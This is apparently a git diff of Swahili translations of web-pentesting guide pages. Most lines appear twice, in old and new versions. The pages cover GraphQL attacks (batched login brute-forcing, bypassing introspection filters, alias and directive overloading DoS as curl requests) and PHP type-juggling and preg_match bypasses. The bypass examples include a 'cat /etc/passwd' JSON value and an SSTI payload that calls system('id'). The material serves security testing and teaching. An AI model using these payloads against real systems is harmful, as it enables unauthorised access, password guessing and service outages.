Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambulishwa kwa **barua pepe** zao na **jina**; **filamu** kwa **jina** na **ukadiriaji**. **Watu** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
Mutation ya **kuunda mpya** movies ndani ya database inaweza kuwa kama ifuatavyo (katika mfano huu mutation inaitwa `addMovie`):
Mabadiliko ya **kuunda mpya** filamu ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko yanaitwa `addMovie`):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -334,30 +334,30 @@ releaseYear
```
### Directive Overloading
Kama ilivyoelezwa katika [**moja ya vulns zilizofafanuliwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), directive overloading inamaanisha kuita directive hata mara milioni ili kufanya server itumie operesheni hadi iwezekane kuifanya DoS.
Kama ilivyoelezwa katika [**moja ya vulns zilizoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), directive overloading inamaanisha kuita directive hata mara milioni ili kufanya server itumie operesheni hadi iwezekane kuifanya DoS.
### Batching brute-force katika ombi 1 la API
Taarifa hii ilichukuliwa kutoka [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Uthibitishaji kupitia GraphQL API kwa **kutuma maswali mengi kwa wakati mmoja na akidi tofauti** ili kuyakagua. Ni shambulio la kawaida la brute force, lakini sasa inawezekana kutuma zaidi ya jozi moja ya login/password kwa kila ombi la HTTP kwa sababu ya kipengele cha GraphQL batching. Njia hii itawadanganya programu za nje za ufuatiliaji wa kiwango kufikiria kila kitu kiko sawa na hakuna bot ya brute-forcing inayojaribu kukisia nywila.
Uthibitishaji kupitia GraphQL API kwa **kutuma maswali mengi kwa wakati mmoja na akidi tofauti** ili kuyakagua. Ni shambulio la kawaida la brute force, lakini sasa inawezekana kutuma zaidi ya jozi moja ya login/password kwa kila ombi la HTTP kwa sababu ya kipengele cha GraphQL batching. Njia hii itawadanganya programu za ufuatiliaji wa kiwango cha nje kufikiria kila kitu kiko sawa na hakuna bot ya brute-forcing inayojaribu kukisia nywila.
Hapa chini unaweza kupata onyesho rahisi la ombi la uthibitishaji wa programu, lenye **jozi 3 tofauti za barua pepe/nywila kwa wakati mmoja**. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:
![](<../../images/image (1081).png>)
Kama tunavyoona kutoka kwenye picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha taarifa zinazofanana katika sehemu ya _error_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji** na jibu lina token sahihi ya kikao cha uthibitishaji.
Kama tunavyoona kutoka kwenye picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha taarifa zinazofaa katika sehemu ya _error_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitishaji** na jibu lina token sahihi ya kikao cha uthibitishaji.
![](<../../images/image (119) (1).png>)
## GraphQL Bila Introspection
Zaidi na zaidi **mipaka ya graphql inazima introspection**. Hata hivyo, makosa ambayo graphql inatoa wakati ombi lisilotarajiwa linapokea yanatosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kuunda sehemu kubwa ya schema.
Zaidi na zaidi **graphql endpoints zinaondoa introspection**. Hata hivyo, makosa ambayo graphql inatoa wakati ombi lisilotarajiwa linapokea yanatosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kuunda sehemu kubwa ya schema.
Zaidi ya hayo, nyongeza ya Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **inasimamia maombi ya GraphQL API yanayopita kupitia Burp** na **kujenga** schema ya ndani ya GraphQL **na kila swali jipya inaloona**. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Zaidi ya hayo, nyongeza ya Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) inachunguza **ombii za GraphQL API zinazopita Burp** na **kujenga** schema ya ndani ya GraphQL **na kila swali jipya inaloona**. Inaweza pia kufichua schema kwa GraphiQL na Voyager. Nyongeza inarudisha jibu bandia inapopokea ombi la introspection. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na maeneo yanayopatikana kwa matumizi ndani ya API. Kwa maelezo zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Orodha nzuri ya **maneno** kugundua [**vitu vya GraphQL inaweza kupatikana hapa**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Kupita ulinzi wa introspection wa GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### Kupita ulinzi wa GraphQL introspection <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Ili kupita vizuizi kwenye maswali ya introspection katika APIs, kuingiza **herufi maalum baada ya neno la `__schema`** kunaonekana kuwa na ufanisi. Njia hii inatumia makosa ya kawaida ya waendelezaji katika mifumo ya regex ambayo inakusudia kuzuia introspection kwa kuzingatia neno la `__schema`. Kwa kuongeza herufi kama **nafasi, mistari mipya, na alama za koma**, ambazo GraphQL inapuuzilia mbali lakini huenda hazijazingatiwa katika regex, vizuizi vinaweza kupitishwa. Kwa mfano, ombi la introspection lenye mstari mpya baada ya `__schema` linaweza kupita ulinzi kama huo:
```bash
@ -367,7 +367,7 @@ Ili kupita vizuizi kwenye maswali ya introspection katika APIs, kuingiza **heruf
{queryType{name}}}"
}
```
Ikiwa haifanikiwa, fikiria mbinu mbadala za ombi, kama **GET requests** au **POST na `x-www-form-urlencoded`**, kwani vizuizi vinaweza kuathiri tu ombi la POST.
Ikiwa haifanikiwi, fikiria mbinu mbadala za ombi, kama vile **GET requests** au **POST na `x-www-form-urlencoded`**, kwani vizuizi vinaweza kuathiri tu ombi za POST.
### Jaribu WebSockets
@ -395,9 +395,9 @@ payload: GQL_CALL,
ws.send(JSON.stringify(graphqlMsg))
}
```
### **Kugundua Miundo ya GraphQL Iliyofichuliwa**
### **Kugundua Miundo ya GraphQL Iliyo wazi**
When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the `Sources` tab in developer tools, providing insights into the API's schema and revealing potentially **exposed sensitive queries**. The commands to search within the developer tools are:
Wakati uchunguzi umezimwa, kuchunguza msimbo wa chanzo wa tovuti kwa maswali yaliyoandaliwa mapema katika maktaba za JavaScript ni mkakati mzuri. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Sources` katika zana za maendeleo, na kutoa maarifa kuhusu muundo wa API na kufichua **maswali nyeti yaliyo wazi**. Amri za kutafuta ndani ya zana za maendeleo ni:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -429,7 +429,7 @@ Kumbuka kwamba kwa kawaida inawezekana kutuma **maombi** ya **query** pia kama *
Pia, kutumia [**XS-Search**](../../pentesting-web/xs-search/index.html) **shambulio** inaweza kuwa inawezekana kutoa maudhui kutoka kwa kiunganishi cha GraphQL kwa kutumia akidi za mtumiaji.
Kwa maelezo zaidi **angalia** [**posti ya asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
Kwa maelezo zaidi **angalia** [**post ya asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Utekaji wa WebSocket wa tovuti tofauti katika GraphQL
@ -459,13 +459,13 @@ Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kwa kujaribu kubadi
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja inaweza kupita mfumo dhaifu wa uthibitishaji.
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na inapaswa tu kutekeleza ombi la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza ombi mwishoni, katika kesi hii tunaongeza "register" na kigezo cha mtumiaji kwa mfumo kujiandikisha kama mtumiaji mpya.
Katika mfano ulio hapa chini unaweza kuona kwamba operesheni ni "forgotPassword" na kwamba inapaswa kutekeleza tu ombi la forgotPassword lililohusishwa nalo. Hii inaweza kupitishwa kwa kuongeza ombi mwishoni, katika kesi hii tunaongeza "register" na kigezo cha mtumiaji kwa mfumo kujiandikisha kama mtumiaji mpya.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Bypassing Rate Limits Using Aliases in GraphQL
Katika GraphQL, aliases ni kipengele chenye nguvu ambacho kinaruhusu **kupewa majina ya mali kwa uwazi** unapofanya ombi la API. Uwezo huu ni muhimu sana kwa kupata **mfano mwingi wa aina moja** ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
Katika GraphQL, aliases ni kipengele chenye nguvu ambacho kinaruhusu **kupewa majina ya mali kwa uwazi** unapofanya ombi la API. Uwezo huu ni muhimu sana kwa kupata **mfano mwingi wa aina moja** ya kitu ndani ya ombi moja. Aliases zinaweza kutumika kushinda kikomo ambacho kinazuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
Kwa ufahamu wa kina wa aliases za GraphQL, rasilimali ifuatayo inapendekezwa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
@ -490,18 +490,18 @@ valid
### Kupakia Majina
**Kupakia Majina** ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha **Denial of Service (DoS)**. Kwa mfano, katika ombi hapa chini, uwanja ule ule (`expensiveField`) unahitajiwa mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
**Kupakia Majina** ni udhaifu wa GraphQL ambapo washambuliaji wanapakia ombi kwa majina mengi kwa ajili ya uwanja mmoja, na kusababisha mchakato wa nyuma kutekeleza uwanja huo mara kwa mara. Hii inaweza kuzidisha rasilimali za seva, na kusababisha **Denial of Service (DoS)**. Kwa mfano, katika ombi lililo hapa chini, uwanja ule ule (`expensiveField`) unahitajiwa mara 1,000 kwa kutumia majina, na kulazimisha mchakato wa nyuma kuhesabu mara 1,000, ambayo inaweza kuchosha CPU au kumbukumbu:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
Ili kupunguza hili, tekeleza mipaka ya idadi ya alias, uchambuzi wa ugumu wa maswali, au mipaka ya kiwango ili kuzuia matumizi mabaya ya rasilimali.
Ili kupunguza hili, tekeleza mipaka ya hesabu ya alias, uchambuzi wa ugumu wa swali, au mipaka ya kiwango ili kuzuia matumizi mabaya ya rasilimali.
### **Array-based Query Batching**
**Array-based Query Batching** ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kusababisha **Denial of Service (DoS)**. Ikiwa hakuna kikomo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
**Array-based Query Batching** ni udhaifu ambapo API ya GraphQL inaruhusu kuunganisha maswali mengi katika ombi moja, ikimuwezesha mshambuliaji kutuma idadi kubwa ya maswali kwa wakati mmoja. Hii inaweza kujaa nyuma kwa kutekeleza maswali yote yaliyounganishwa kwa wakati mmoja, ikitumia rasilimali nyingi (CPU, kumbukumbu, muunganisho wa hifadhidata) na kwa uwezekano kupelekea **Denial of Service (DoS)**. Ikiwa hakuna kikomo kwenye idadi ya maswali katika kundi, mshambuliaji anaweza kutumia hili kudhoofisha upatikanaji wa huduma.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -511,9 +511,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
```
Katika mfano huu, maswali 10 tofauti yanakusanywa katika ombi moja, yakilazimisha seva kutekeleza yote kwa wakati mmoja. Ikiwa itatumika kwa ukubwa mkubwa wa kundi au maswali yanayohitaji rasilimali nyingi, inaweza kuleta mzigo kwa seva.
### **Udhaifu wa Overloading Directive**
### **Uthibitisho wa Ujumbe wa Kupita Kiwango**
**Overloading Directive** hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa. Hii inaweza kuleta mzigo kwa parser na executor wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho sahihi au mipaka, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kusababisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha **Denial of Service (DoS)**.
**Uthibitisho wa Ujumbe wa Kupita Kiwango** hutokea wakati seva ya GraphQL inaruhusu maswali yenye maagizo mengi, yaliyorudiwa. Hii inaweza kuleta mzigo kwa parser na mtendaji wa seva, hasa ikiwa seva inashughulikia mara kwa mara mantiki ile ile ya maagizo. Bila uthibitisho sahihi au mipaka, mshambuliaji anaweza kutumia hii kwa kuunda swali lenye maagizo mengi yaliyorudiwa ili kusababisha matumizi makubwa ya rasilimali au kumbukumbu, na kusababisha **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -537,9 +537,9 @@ curl -X POST \
```
Na kisha **tumia baadhi ya zile za kawaida**.
### **Uthibitisho wa Ukarabati wa Uwanja**
### **Uthibitisho wa Ukarabati wa Sehemu**
**Ukarabati wa Uwanja** ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye uwanja sawa kurudiwa mara nyingi. Hii inamfanya seva kutatua uwanja huo kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye mikoa mia au maelfu ya viwanja vilivyorejelewa, na kusababisha mzigo mkubwa na huenda ikasababisha **Kukataa kwa Huduma (DoS)**.
**Ukarabati wa Sehemu** ni udhaifu ambapo seva ya GraphQL inaruhusu maswali yenye sehemu sawa kurudiwa kupita kiasi. Hii inamfanya seva kutatua sehemu hiyo kwa njia isiyo ya lazima kwa kila mfano, ikitumia rasilimali nyingi (CPU, kumbukumbu, na simu za hifadhidata). Mshambuliaji anaweza kuunda maswali yenye sehemu zilizorudiwa mia au elfu, na kusababisha mzigo mkubwa na huenda ikasababisha **Ukatishaji wa Huduma (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -551,15 +551,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Vulnerability scanners
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Jaribu makosa ya kawaida ya usanidi wa mwisho wa graphql
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya GraphQL kwa kundi.
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya kundi ya GraphQL.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Tambua fingerprint ya graphql inayotumika
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zana inayoweza kutumika kukamata schemas na kutafuta data nyeti, kujaribu idhini, nguvu za kikatili schemas, na kupata njia za aina fulani.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Inaweza kutumika kama standalone au [Burp extension](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kuendesha mashambulizi
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kuendesha mashambulizi: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Zana inayoorodhesha njia tofauti za **kufikia aina fulani katika schema ya GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Mfuasi wa Standalone na CLI Modes ya InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya schema ya ndani ya ndani. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika muonekano wa muundo kwa ajili ya uchambuzi wako. Kipengele cha _**Attacker**_ kinakuruhusu kuendesha mashambulizi ya kundi la GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Jaribu kupata schema hata ikiwa uchambuzi umezimwa kwa kutumia msaada wa baadhi ya hifadhidata za Graphql ambazo zitapendekeza majina ya mabadiliko na vigezo.
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension au skripti ya python kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya schema ya ndani ya ndani. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika mtazamo ulio na muundo kwa ajili ya uchambuzi wako. Kipengele cha _**Attacker**_ kinakuwezesha kuendesha mashambulizi ya kundi ya GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Jaribu kupata schema hata ikiwa uchunguzi umezimwa kwa kutumia msaada wa baadhi ya hifadhidata za Graphql ambazo zitapendekeza majina ya mabadiliko na vigezo.
### Clients

View File

@ -11,7 +11,7 @@ Cookies:
PHPSESSID
phpMyAdmin
```
Mahali:
Mikoa:
```
/var/lib/php/sessions
/var/lib/php5/
@ -32,18 +32,18 @@ Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` Mstari ambao hauanzishi na nambari ni sawa na nambari
- `"0xAAAA" == "43690" -> True` Mstari ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mistari mingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mstari zinatafsiriwa kama nambari)
- `"0e3264578" == 0 --> True` Mstari unaoanzishwa na "0e" na kufuatwa na chochote kitakuwa sawa na 0
- `"0X3264578" == 0X --> True` Mstari unaoanzishwa na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mstari la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mistari iliyohesabiwa tayari** yenye muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Herufi yoyote katika mstari ni sawa na int 0
- `"string" == 0 -> True` Mfuatano ambao hauanzishi na nambari ni sawa na nambari
- `"0xAAAA" == "43690" -> True` Mfuatano ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari)
- `"0e3264578" == 0 --> True` Mfuatano unaoanza na "0e" na kufuatwa na chochote kitakuwa sawa na 0
- `"0X3264578" == 0X --> True` Mfuatano unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mfuatano wa "0" na baadhi ya maudhui yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Herufi yoyote katika mfuatano ni sawa na int 0
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa default (unahitaji kuweka kweli argument ya tatu ili kufanya kulinganisha kwa ukali):
**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa default (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -60,21 +60,21 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Kosa sawa linaweza kutokea na `strcasecmp()`
Kosa hiyo hiyo inatokea na `strcasecmp()`
### Uhamasishaji Mkali wa Aina
### Uchezaji Mkali wa Aina
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **uhamasishaji wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **uchezaji wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg_match(/^.\*/)
**`preg_match()`** inaweza kutumika ku **thibitisha pembejeo za mtumiaji** (ina **angalia** kama neno/regex lolote kutoka kwenye **blacklist** lina **patikana** kwenye **pemebezo za mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
**`preg_match()`** inaweza kutumika ku **thibitisha pembejeo za mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **orodha ya madoa** lina **patikana** kwenye **pemebeo za mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
#### New line bypass
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyowekwa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, itume katika **mistari kadhaa**:
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyowekwa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data za JSON**, zitume katika **mistari kadhaa**:
```php
{
"cmd": "cat /etc/passwd"
@ -110,12 +110,12 @@ Trick kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ct
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo cha idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa katika stack.
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si ya uhalifu, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irejee `false` hivyo kufanya programu ifikirie kuwa input yetu si ya uhalifu, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
Vizuri, katika masharti ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -153,16 +153,17 @@ Check:
## More tricks
